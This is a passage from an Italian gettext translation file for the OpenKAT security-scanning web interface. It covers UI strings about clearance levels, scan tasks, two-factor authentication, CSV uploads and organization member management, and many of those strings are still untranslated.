rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty:\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"This object has a clearance level of \\\"empty\\\". This means that this object \"\n\"has no clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to the\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"organization settings page\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Set clearance level warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"You don't have permissions to set the clearance level. Contact your \"\n\"administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, python-format\nmsgid \"\"\n\"You are not allowed to set the clearance level of this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to your\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"account details\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Current clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"\"\n\"An overview of the boefje task, the input OOI and the RAW data it generated.\"\nmsgstr \"\"\n\"Una panoramica del compito del boefje, l'OOI di input e i dati RAW che ha \"\n\"generato.\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download meta and raw data\"\nmsgstr \"Scarica dati meta e raw\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Download meta data\"\nmsgstr \"Scarica dati meta\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Input object\"\nmsgstr \"Oggetto di input\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"There are no tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"List of tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/reports.html\nmsgid \"Organization Code\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Created date\"\nmsgstr \"Data di creazione\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Modified date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"There are no tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"List of tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje input OOI\"\nmsgstr \"OOI di input Boefje\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Manually added\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"There have been no tasks.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Task statistics - Last 24 hours\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"All times in UTC, blocks of 1 hour.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Timeslot\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Could not load stats, Scheduler error.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tab_navigation.html\nmsgid \"List of tasks\"\nmsgstr \"Elenco dei compiti\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Yielded objects\"\nmsgstr \"Oggetti prodotti\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Reschedule\"\nmsgstr \"Ripianifica\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download task data\"\nmsgstr \"Scarica dati del compito\"\n\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#, python-format\nmsgid \"\"\n\"An overview of the tasks for <strong>%(organization)s</strong>. Tasks are \"\n\"divided in Boefjes, Normalizers and Reports. Boefjes scan objects and \"\n\"Normalizers dispatch on the output mime-type. Additionally, there is a \"\n\"Report tasks. This task aggregates and presents findings from both Boefjes \"\n\"and Normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"There are no tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"List of tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"There are no tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"List of tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"Recipe ID\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Log in\"\nmsgstr \"Accedi\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Authenticate\"\nmsgstr \"Autentica\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Tokens\"\nmsgstr \"Token di Backup\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"\"\n\"Backup tokens can be used when your primary and backup phone numbers aren't \"\n\"available. The backup tokens below can be used for login verification. If \"\n\"you've used up all your backup tokens, you can generate a new set of backup \"\n\"tokens. Only the backup tokens shown below will be valid.\"\nmsgstr \"\"\n\"I token di backup possono essere utilizzati quando i tuoi numeri di telefono \"\n\"primari e di backup non sono disponibili. I token di backup di seguito \"\n\"possono essere utilizzati per la verifica dell'accesso. Se hai esaurito \"\n\"tutti i tuoi token di backup, puoi generare un nuovo set di token di backup. \"\n\"Solo i token di backup mostrati di seguito saranno validi.\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Print these tokens and keep them somewhere safe.\"\nmsgstr \"Stampa questi token e conservali in un luogo sicuro.\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"You don't have any backup codes yet.\"\nmsgstr \"Non hai ancora codici di backup.\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Generate Tokens\"\nmsgstr \"Genera Token\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Back to Account Security\"\nmsgstr \"Torna alla sicurezza dell'account\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"You are logged in.\"\nmsgstr \"Hai effettuato l'accesso.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Two factor authentication is enabled for your account.\"\nmsgstr \"L'autenticazione a due fattori è abilitata per il tuo account.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Two factor authentication is not enabled for your account. Enable it to \"\n\"continue.\"\nmsgstr \"\"\n\"L'autenticazione a due fattori non è abilitata per il tuo account. Abilitala \"\n\"per continuare.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Setup two factor authentication\"\nmsgstr \"Configura l'autenticazione a due fattori\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Credentials\"\nmsgstr \"Credenziali\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Use this form for entering backup tokens for logging in. These tokens have \"\n\"been generated for you to print and keep safe. Please enter one of these \"\n\"backup tokens to login to your account.\"\nmsgstr \"\"\n\"Utilizza questo modulo per inserire i token di backup per l'accesso. Questi \"\n\"token sono stati generati per te per essere stampati e conservati in \"\n\"sicurezza. Inserisci uno di questi token di backup per accedere al tuo \"\n\"account.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"As a last resort, you can use a backup token:\"\nmsgstr \"Come ultima risorsa, puoi utilizzare un token di backup:\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Use Backup Token\"\nmsgstr \"Utilizza il Token di Backup\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#, fuzzy\nmsgid \"Permission Denied\"\nmsgstr \"Autorizzazione\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"\"\n\"The page you requested, enforces users to verify using two-factor \"\n\"authentication for security reasons. You need to enable these security \"\n\"features in order to access this page.\"\nmsgstr \"\"\n\"La pagina richiesta impone agli utenti di verificare utilizzando \"\n\"l'autenticazione a due fattori per motivi di sicurezza. È necessario \"\n\"abilitare queste funzionalità di sicurezza per accedere a questa pagina.\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"Two-factor authentication is not enabled for your account. Enable two-factor \"\n\"authentication for enhanced account security.\"\nmsgstr \"\"\n\"L'autenticazione a due fattori non è abilitata per il tuo account. Abilita \"\n\"l'autenticazione a due fattori per una maggiore sicurezza dell'account.\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/core/setup.html\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Enable Two-Factor Authentication\"\nmsgstr \"Abilita l'autenticazione a due fattori\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"Add Backup Phone\"\nmsgstr \"Aggiungi telefono di backup\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"You'll be adding a backup phone number to your account. This number will be \"\n\"used if your primary method of registration is not available.\"\nmsgstr \"\"\n\"Stai aggiungendo un numero di telefono di backup al tuo account. Questo \"\n\"numero verrà utilizzato se il tuo metodo principale di registrazione non è \"\n\"disponibile.\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"We've sent a token to your phone number. Please enter the token you've \"\n\"received.\"\nmsgstr \"\"\n\"Abbiamo inviato un token al tuo numero di telefono. Inserisci il token che \"\n\"hai ricevuto.\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"To start using a token generator, please use your smartphone to scan the QR \"\n\"code below or use the setup key. For example, use GoogleAuthenticator. Then, \"\n\"enter the token generated by the app.\"\nmsgstr \"\"\n\"Per iniziare a utilizzare un generatore di token, utilizza il tuo smartphone \"\n\"per scansionare il codice QR sottostante o utilizza la chiave di \"\n\"configurazione. Ad esempio, usa Google Authenticator. Successivamente, \"\n\"inserisci il token generato dall'app.\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"QR code\"\nmsgstr \"Codice QR\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"Setup key\"\nmsgstr \"Chiave di configurazione\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"The secret key is a 32 characters representation of the QR code. There are 2 \"\n\"options to setup the two factor authtentication. You can scan the QR code \"\n\"above or you can insert this key using the secret key option of the \"\n\"authenticator app.\"\nmsgstr \"\"\n\"La chiave segreta è una rappresentazione di 32 caratteri del codice QR. Ci \"\n\"sono 2 opzioni per configurare l'autenticazione a due fattori. Puoi \"\n\"scansionare il codice QR sopra o puoi inserire questa chiave utilizzando \"\n\"l'opzione chiave segreta dell'applicazione autenticatore.\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Congratulations, you've successfully enabled two-factor authentication.\"\nmsgstr \"\"\n\"Congratulazioni, hai abilitato con successo l'autenticazione a due fattori.\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Start using OpenKAT\"\nmsgstr \"Inizia a utilizzare OpenKAT\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"\"\n\"However, it might happen that you don't have access to your primary token \"\n\"device. To enable account recovery, add a phone number.\"\nmsgstr \"\"\n\"Tuttavia, potrebbe capitare che tu non abbia accesso al tuo dispositivo di \"\n\"token primario. Per abilitare il recupero dell'account, aggiungi un numero \"\n\"di telefono.\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Add Phone Number\"\nmsgstr \"Aggiungi numero di telefono\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable Two-factor Authentication\"\nmsgstr \"Disabilita l'autenticazione a due fattori\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"\"\n\"You are about to disable two-factor authentication. This weakens your \"\n\"account security, are you sure?\"\nmsgstr \"\"\n\"Stai per disabilitare l'autenticazione a due fattori. Ciò indebolisce la \"\n\"sicurezza del tuo account, sei sicuro?\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Account Security\"\nmsgstr \"Sicurezza dell'account\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your token generator.\"\nmsgstr \"I token saranno generati dal tuo generatore di token.\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"Primary method: %(primary)s\"\nmsgstr \"Metodo principale: %(primary)s\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your YubiKey.\"\nmsgstr \"I token saranno generati dal tuo YubiKey.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Phone Numbers\"\nmsgstr \"Numeri di telefono di backup\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If your primary method is not available, we are able to send backup tokens \"\n\"to the phone numbers listed below.\"\nmsgstr \"\"\n\"Se il tuo metodo principale non è disponibile, siamo in grado di inviare \"\n\"token di backup ai numeri di telefono elencati di seguito.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Unregister\"\nmsgstr \"Annulla registrazione\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If you don't have any device with you, you can access your account using \"\n\"backup tokens.\"\nmsgstr \"\"\n\"Se non hai nessun dispositivo con te, puoi accedere al tuo account \"\n\"utilizzando i token di backup.\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"You have only one backup token remaining.\"\nmsgid_plural \"You have %(counter)s backup tokens remaining.\"\nmsgstr[0] \"Ti rimane solo un token di backup.\"\nmsgstr[1] \"Ti rimangono %(counter)s token di backup.\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Show Codes\"\nmsgstr \"Mostra codici\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Disable Two-Factor Authentication\"\nmsgstr \"Disabilita l'autenticazione a due fattori\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"However we strongly discourage you to do so, you can also disable two-factor \"\n\"authentication for your account.\"\nmsgstr \"\"\n\"Tuttavia, ti sconsigliamo vivamente di farlo, puoi anche disabilitare \"\n\"L'autenticazione a due fattori per il tuo account.\"\n\n#: rocky/templates/two_factor/twilio/sms_message.html\n#, python-format\nmsgid \"Your OTP token is %(token)s\"\nmsgstr \"Il tuo token OTP è %(token)s\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"Automate the creation of multiple objects by uploading a CSV file.\"\nmsgstr \"Automatizza la creazione di oggetti multipli caricando un file CSV.\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"These are the criteria for CSV upload:\"\nmsgstr \"Questi sono i criteri per il caricamento del CSV:\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"Automate the creation of multiple objects by uploading a raw file.\"\nmsgstr \"Automatizza la creazione di oggetti multipli caricando un file raw.\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"\"\n\"An input OOI can be selected for the normalizer to attach newly yielded OOIs \"\n\"to. If no input OOI was used for the raw file, a placeholder ExternalScan \"\n\"OOI can be used. ExternalScan OOIs can be created from the objects page. \"\n\"When a new version of the raw file is generated, the same ExternalScan OOI \"\n\"should be chosen to ensure that old results are overwritten.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html rocky/views/upload_raw.py\nmsgid \"Upload raw\"\nmsgstr \"Carica raw\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"Getting raw data failed.\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"The task does not have any raw data.\"\nmsgstr \"\"\n\n#: rocky/views/finding_list.py rocky/views/ooi_list.py\nmsgid \"Unknown action.\"\nmsgstr \"Azione sconosciuta.\"\n\n#: rocky/views/health.py\nmsgid \"Beautified\"\nmsgstr \"Migliorato\"\n\n#: rocky/views/indemnification_add.py\nmsgid \"Indemnification successfully set.\"\nmsgstr \"Indennizzo impostato con successo.\"\n\n#: rocky/views/mixins.py\nmsgid \"The selected date is in the future.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Can not parse date, falling back to show current date.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"You do not have the permission to add items to a dashboard.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Dashboard item has been added.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_add.py\n#, python-format\nmsgid \"Add %(ooi_type)s\"\nmsgstr \"Aggiungi %(ooi_type)s\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"\"\n\"Cannot set clearance level. It must be provided and must be a valid number.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Only Question OOIs can be answered.\"\nmsgstr \"Solo gli OOI di tipo Domanda possono essere risposti.\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Question has been answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail_related_object.py\nmsgid \" (as \"\nmsgstr \" (come \"\n\n#: rocky/views/ooi_findings.py\nmsgid \"Object findings\"\nmsgstr \"Risultati dell'oggetto\"\n\n#: rocky/views/ooi_list.py\nmsgid \"No OOIs selected.\"\nmsgstr \"Nessun OOI selezionato.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance levels to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\"Impossibile alzare i livelli di autorizzazione a L%s. L'indennizzo non è \"\n\"presente nell'organizzazione %s.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You were trusted a clearance level \"\n\"of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\"Impossibile alzare il livello di autorizzazione a L%s. Ti è stata concessa \"\n\"una autorizzazione di L%s. Contatta il tuo amministratore per ricevere \"\n\"un'autorizzazione superiore.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You acknowledged a clearance level \"\n\"of L%s. Please accept the clearance level below to proceed.\"\nmsgstr \"\"\n\"Impossibile alzare il livello di autorizzazione a L%s. Hai riconosciuto un \"\n\"livello di autorizzazione di L%s. Per favore, accetta il livello di \"\n\"autorizzazione inferiore per proseguire.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while saving clearance levels.\"\nmsgstr \"\"\n\"Si è verificato un errore durante il salvataggio dei livelli di \"\n\"autorizzazione.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"One of the OOI's doesn't exist\"\nmsgstr \"Uno degli OOI non esiste\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set scan profile to %s for %d OOIs.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while setting clearance levels to inherit.\"\nmsgstr \"\"\n\"Si è verificato un errore durante l'impostazione dei livelli di \"\n\"autorizzazione su eredità.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"\"\n\"An error occurred while setting clearance levels to inherit: one of the OOIs \"\n\"doesn't exist.\"\nmsgstr \"\"\n\"Si è verificato un errore durante l'impostazione dei livelli di \"\n\"autorizzazione su eredità: uno degli OOIs non esiste.\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set %d OOI(s) clearance level to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting oois.\"\nmsgstr \"Si è verificato un errore durante l'eliminazione degli OOI.\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting OOIs: one of the OOIs doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Successfully deleted %d ooi(s). Note: Bits can recreate objects \"\n\"automatically.\"\nmsgstr \"\"\n\"Eliminati con successo %d ooi. Nota: Bits può ricreare automaticamente gli \"\n\"oggetti.\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Please select at least one finding.\"\nmsgstr \"Seleziona almeno un risultato.\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully unmuted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully muted.\"\nmsgstr \"Risultato/i mutato/i con successo.\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Tree Visualisation\"\nmsgstr \"Visualizzazione ad albero\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Graph Visualisation\"\nmsgstr \"Visualizzazione grafica\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Observed_at: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"OOI types: \"\nmsgstr \"Tipi di OOI: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance level: \"\nmsgstr \"Livello di autorizzazione: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance type: \"\nmsgstr \"Tipo di liquidazione: \"\n\n#: rocky/views/ooi_view.py\nmsgid \"Searching for: \"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Setup\"\nmsgstr \"Imposta\"\n\n#: rocky/views/organization_add.py\nmsgid \"Organization added successfully.\"\nmsgstr \"Organizzazione aggiunta con successo.\"\n\n#: rocky/views/organization_add.py\nmsgid \"You are not allowed to add organizations.\"\nmsgstr \"Non hai il permesso di aggiungere organizzazioni.\"\n\n#: rocky/views/organization_edit.py\n#, python-format\nmsgid \"Organization %s successfully updated.\"\nmsgstr \"Organizzazione %s aggiornata con successo.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Add column titles, followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The columns are: \"\nmsgstr \"Le colonne sono: \"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Clearance levels should be between -1 and 4.\"\nmsgstr \"I livelli di autorizzazione dovrebbero essere compresi tra -1 e 4.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Account type can be one of: \"\nmsgstr \"Il tipo di account può essere uno tra: \"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Member added successfully.\"\nmsgstr \"Membro aggiunto con successo.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The csv file is missing required columns\"\nmsgstr \"Il file CSV manca delle colonne obbligatorie\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid account type: '{account_type}'\"\nmsgstr \"Tipo di account non valido: '{account_type}'\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid data for: '{email}'\"\nmsgstr \"Dati non validi per: '{email}'\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid email address: '{email}'\"\nmsgstr \"Indirizzo email non valido: '{email}'\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Successfully processed users from csv.\"\nmsgstr \"Utenti elaborati con successo dal CSV.\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Error parsing the csv file. Please verify its contents.\"\nmsgstr \"Errore nell'analisi del file CSV. Verifica il suo contenuto.\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"Member %s successfully updated.\"\nmsgstr \"Membro %s aggiornato con successo.\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"\"\n\"The updated trusted clearance level of L%s is lower then the member's \"\n\"acknowledged clearance level of L%s. This member only has clearance for \"\n\"level L%s. For this reason the acknowledged clearance level has been set at \"\n\"the same level as trusted clearance level.\"\nmsgstr \"\"\n\"Il livello di autorizzazione fidato aggiornato di L%s è inferiore al livello \"\n\"di autorizzazione riconosciuto del membro di L%s. Questo membro ha solo \"\n\"l'autorizzazione per il livello L%s. Per questo motivo, il livello di \"\n\"autorizzazione riconosciuto è stato impostato allo stesso livello del \"\n\"livello di autorizzazione fidato.\"\n\n#: rocky/views/organization_member_edit.py\nmsgid \"\"\n\"You have trusted this member with a higher trusted level than member \"\n\"acknowledged. Member must first accept this level to use it.\"\nmsgstr \"\"\n\"Hai conferito a questo membro un livello di autorizzazione fidato più alto \"\n\"rispetto a quello riconosciuto dal membro. Il membro deve prima accettare \"\n\"questo livello per utilizzarlo.\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Blocked member %s successfully.\"\nmsgstr \"Membro bloccato %s con successo.\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Unblocked member %s successfully.\"\nmsgstr \"Membro sbloccato %s con successo.\"\n\n#: rocky/views/organization_settings.py\n#, python-brace-format\nmsgid \"Recalculated {number_of_bits} bits. Duration: {duration}\"\nmsgstr \"Ricalcolati {number_of_bits} bit. Durata: {duration}\"\n\n#: rocky/views/page_actions.py\nmsgid \"Could not process your request, action required.\"\nmsgstr \"\"\n\n#: rocky/views/scan_profile.py\nmsgid \"\"\n\"Cannot set clearance level. The clearance type must be inherited or declared.\"\nmsgstr \"\"\n\n#: rocky/views/scans.py\nmsgid \"Scans\"\nmsgstr \"Scansioni\"\n\n#: rocky/views/scheduler.py\nmsgid \"Your report has been scheduled.\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"\"\n\"Your task is scheduled and will soon be started in the background. Results \"\n\"will be added to the object list when they are in. It may take some time, a \"\n\"refresh of the page may be needed to show the results.\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\n#, python-brace-format\nmsgid \"Fetching tasks failed: no connection with scheduler: {error}\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\nmsgid \"All Tasks\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Add column titles. Followed by each object on a new line.\"\nmsgstr \"\"\n\"Aggiungi i titoli delle colonne. Seguiti da ogni oggetto su una nuova linea.\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For URL object type, a column 'raw' with URL values is required, starting \"\n\"with http:// or https://, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"Per il tipo di oggetto URL, è richiesta una colonna 'raw' con valori URL, \"\n\"iniziando con http:// o https://, facoltativamente è supportata una seconda \"\n\"colonna 'network'\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For Hostname object type, a column with 'name' values is required, \"\n\"optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"Per il tipo di oggetto Hostname, è richiesta una colonna con valori 'name', \"\n\"facoltativamente è supportata una seconda colonna 'network'\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For IPAddressV4 and IPAddressV6 object types, a column of 'address' is \"\n\"required, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\"Per i tipi di oggetto IPAddressV4 e IPAddressV6, è richiesta una colonna con \"\n\"valori 'address', facoltativamente è supportata una seconda colonna 'network'\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"Clearance levels can be controlled by a column 'clearance' taking numerical \"\n\"values 0, 1, 2, 3, and 4 for the corresponding clearance level (other values \"\n\"are ignored) \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) could not be created for row number(s): \"\nmsgstr \"Impossibile creare l'oggetto/i per il/i numero/i di riga: \"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) successfully added.\"\nmsgstr \"Oggetto/i aggiunto/i con successo.\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: status code %d\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: %s\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\nmsgid \"Raw file successfully added.\"\nmsgstr \"File raw aggiunto con successo.\"\n\n#~ msgid \"Clearance level has been set\"\n#~ msgstr \"Il livello di autorizzazione è stato impostato\"\n\n#~ msgid \"Add URL\"\n#~ msgstr \"Aggiungi URL\"\n\n#~ msgid \"\"\n#~ \"Boefjes that has a scan level below or equal to the clearance level, is \"\n#~ \"permitted to scan an object.\"\n#~ msgstr \"\"\n#~ \"I Boefjes che hanno un livello di scansione inferiore o uguale al livello \"\n#~ \"di autorizzazione sono autorizzati a eseguire la scansione di un oggetto.\"\n\n#~ msgid \"Delete object(s)\"\n#~ msgstr \"Elimina oggetto(i)\"\n\n#~ msgid \"Set clearance level to inherit\"\n#~ msgstr \"Imposta il livello di autorizzazione su eredità\"\n\n#~ msgid \"Set 